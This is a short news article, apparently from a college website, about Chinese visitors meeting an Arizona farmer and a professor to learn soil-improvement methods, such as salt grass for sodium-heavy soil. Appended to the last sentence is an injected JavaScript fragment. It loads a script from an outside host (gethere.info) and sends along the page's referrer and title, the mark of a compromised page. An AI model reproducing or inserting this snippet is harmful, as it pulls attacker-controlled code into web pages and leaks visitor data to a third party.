Recently, representatives from China came and met with a local farmer, James Bechtel, and CAC’s own Professor Geldmacher in order to discuss methods to improve the crop production and land in several regions of the country. The representatives included an attorney, an agricultural investor, and two soil professors.

This visit to the United States was prompted by the Chinese government having recently changed their one-child policy last year to now allow many tens of millions of families to now have two children. This policy change has led to an expected increase in population, which will require more agricultural resources than before. This expected increase in demand has incentivized many Chinese companies to improve the amount of crops that they can produce.

The group came to Arizona to learn about techniques and practices that have been effective in Arizona. One example of a solution that was provided to the Chinese Visitors was for a soil sample that contained high levels of sodium and had a relatively low pH level. The sodium in the soil is damaging to plants as it is known to interfere with plant’s ability to germinate seeds as well as hindering the water absorption by the plants roots. Professor Geldmacher suggested that a salt grass be used that would extract the sodium from the soil, the grass could then be grazed leaving the soil in a better state to grow crops such as: cotton, corn, rice, dates, and nuts. Professor Geldmacher said that they all spoke English well and that it was a great overall experience.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;